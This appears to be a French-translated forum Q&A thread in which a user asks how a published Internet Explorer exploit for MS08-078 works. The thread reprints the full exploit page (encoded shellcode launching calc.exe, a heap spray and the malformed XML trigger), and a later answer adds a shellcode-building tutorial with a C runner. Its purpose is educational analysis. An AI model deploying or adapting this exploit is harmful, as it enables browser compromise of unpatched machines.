Aidez-moi à comprendre cet exploit JavaScript
Je n'ai généralement pas de difficulté à lire le script JavaScript, mais je ne comprends pas la logique de celui-ci. Le code provient d'un exploit qui a été publié il y a 4 jours. Vous pouvez le trouver à milw0rm .
Voici le code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Voici ce que je crois que cela fait et j'aimerais que vous m'aidiez pour la partie que je comprends mal.
La variable shellcode contient le code pour ouvrir le fichier calc.exe. Je ne comprends pas comment ils ont trouvé cette ficelle étrange ... une idée?
La deuxième chose est la variable spray. Je ne comprends pas cette boucle bizarre?
La troisième chose est la variable memory qui n'est jamais utilisée nulle part, pourquoi la crée-t-elle?
Dernière chose, que fait la balise XML dans la page?
Mettre à jour
Bon, pour le moment j’ai de bonnes réponses mais surtout très général. Je voudrais plus d'explications sur la valeur du code Un exemple est unescape("%u0a0a%u0a0a");. Qu'est-ce que cela signifie? Même chose pour la boucle, pourquoi le développeur a-t-il écrit: length < 0xd0000? Je voudrais une compréhension plus profonde, pas seulement la théorie de ce code.
Le shellcode contient des instructions d'assemblage x86 qui feront l'exploit réel. spray crée une longue séquence d'instructions qui seront insérées dans memory. Comme nous ne pouvons généralement pas trouver l’emplacement exact de notre shellcode en mémoire, nous y mettons beaucoup d’instructions nop et sautons quelque part. Le tableau memory contiendra le code x86 réel avec le mécanisme de saut. Nous allons transmettre le code XML conçu à la bibliothèque qui a un bogue. Lorsqu’il est analysé, le bogue provoque l’affectation du registre de pointeur d’instruction quelque part dans notre exploit, ce qui entraîne une exécution de code arbitraire.
Pour comprendre plus en profondeur, vous devez comprendre le contenu du code x86. unscape sera utilisé pour mettre la séquence d'octets représentée de la chaîne dans la variable spray. C'est un code x86 valide qui remplit une grande partie du tas et saute au début du shellcode. La raison de la condition de fin est la limitation de la longueur de chaîne du moteur de script. Vous ne pouvez pas avoir de chaînes plus grandes qu'une longueur spécifique.
Dans l'assemblage x86, 0a0a représente or cl, [edx]. Ceci équivaut effectivement à l'instruction nop aux fins de notre exploit. Où que nous allions dans la variable spray, nous passerons à l'instruction suivante jusqu'à atteindre le shellcode qui est le code que nous voulons réellement exécuter.
Si vous regardez le XML, vous verrez que 0x0a0a est là aussi. Décrire exactement ce qui se passe nécessite une connaissance spécifique de l'exploit (vous devez savoir où se trouve le bogue et comment il est exploité, ce que je ne sais pas). Cependant, il semble que nous obligions Internet Explorer à déclencher le code erroné en définissant la variable innerHtml sur cette chaîne XML illicite. Internet Explorer essaie de l'analyser et le code buggy donne en quelque sorte le contrôle à un emplacement de la mémoire où le tableau existe (étant donné qu'il s'agit d'un gros bloc, la probabilité d'y sauter est élevée). Lorsque nous y sautons, le processeur continuera à exécuter les instructions or cl, [edx] jusqu'à ce que le début du shellcode mis en mémoire atteigne le début.
J'ai démonté le shellcode:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 Push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
Comprendre ce shellcode nécessite la connaissance de l'assemblage x86 et du problème dans la bibliothèque MS elle-même (pour savoir quel est l'état du système lorsque nous atteignons ici), pas en JavaScript! Ce code va à son tour exécuter calc.exe.
Vous devriez vous pencher sur la pulvérisation de tas:
Cela ressemble à un exploit du récent bogue Internet Explorer pour lequel Microsoft a publié le correctif d’urgence. Il utilise une faille dans la fonctionnalité de liaison de données du gestionnaire XML de Microsoft, qui provoque la désallocation incorrecte de la mémoire de segment de mémoire.
Shellcode est un code machine qui sera exécuté lorsque le bogue se produira. Le spray et la mémoire ne sont que quelques espaces alloués sur le tas pour aider à la condition exploitable.
La pulvérisation de tas est un moyen courant d'exploiter les éléments du navigateur. Si vous y êtes, vous pouvez trouver plusieurs articles du genre: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
Chaque fois que je vois de la mémoire qui n'est pas abordée dans une discussion sur un exploit, ma première pensée est que l'exploit est une sorte de débordement de mémoire tampon, auquel cas la mémoire provoque le débordement de la mémoire tampon ou est utilisée une fois que la mémoire tampon déborde. .
Exemple de shellcode simple
Bonjour tout le monde dans Assembly à & t syntaxe x86 je crois (Wizard in Training).
mettre en place le fichier: vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
compiler comme ceci: as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Vous avez maintenant un fichier binaire qui affiche hello world . Pour convertir le fichier binaire en code Shell, entrez: objdump -D shellcode
vous obtiendrez le résultat:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
Maintenant, si vous regardez le texte sur la 4ème ligne, vous verrez: 400078: eb 1a jmp 0x400094
la partie qui dit eb 1a est la représentation hexadécimale de l'instruction d'assemblage jmp one où "un" est l'adresse mémoire de votre chaîne.
pour préparer votre shellcode à l'exécution, ouvrez un autre fichier texte et stockez les valeurs hexadécimales dans un tableau de caractères. Pour formater le code Shell correctement, vous tapez un \x avant chaque valeur hexadécimale.
l'exemple de code Shell à venir ressemblera à ce qui suit d'après la sortie de la commande objdump:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
Cet exemple utilise C pour le tableau . Maintenant vous avez un shellcode qui écrit sur stdout "hello world"
vous pouvez tester le code Shell en le plaçant dans une vulnérabilité ou en écrivant le programme c suivant pour le tester:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
Pour compiler le programme, tapez:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
exécuté avec ./runVous connaissez un exemple pratique de développement de shellcode simple qui a été testé sous linux mint/debian.
Voir Encodages de caractères en HTML .
Ce sont des données binaires codées sous forme de chaîne, que JavaScript est en train de décoder.
Forme commune de XSS aussi.
Vous pouvez voir toutes les astuces d'encodage ici:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
Cela vient de metasploit, ce qui signifie qu’il utilise l’un des codes Shell métasploit. Il est open source pour que vous puissiez aller le chercher: http://www.metasploit.com/
Pour plus d'informations sur la vulnérabilité elle-même, je suggérerais de lire MS08-078 et le SDL .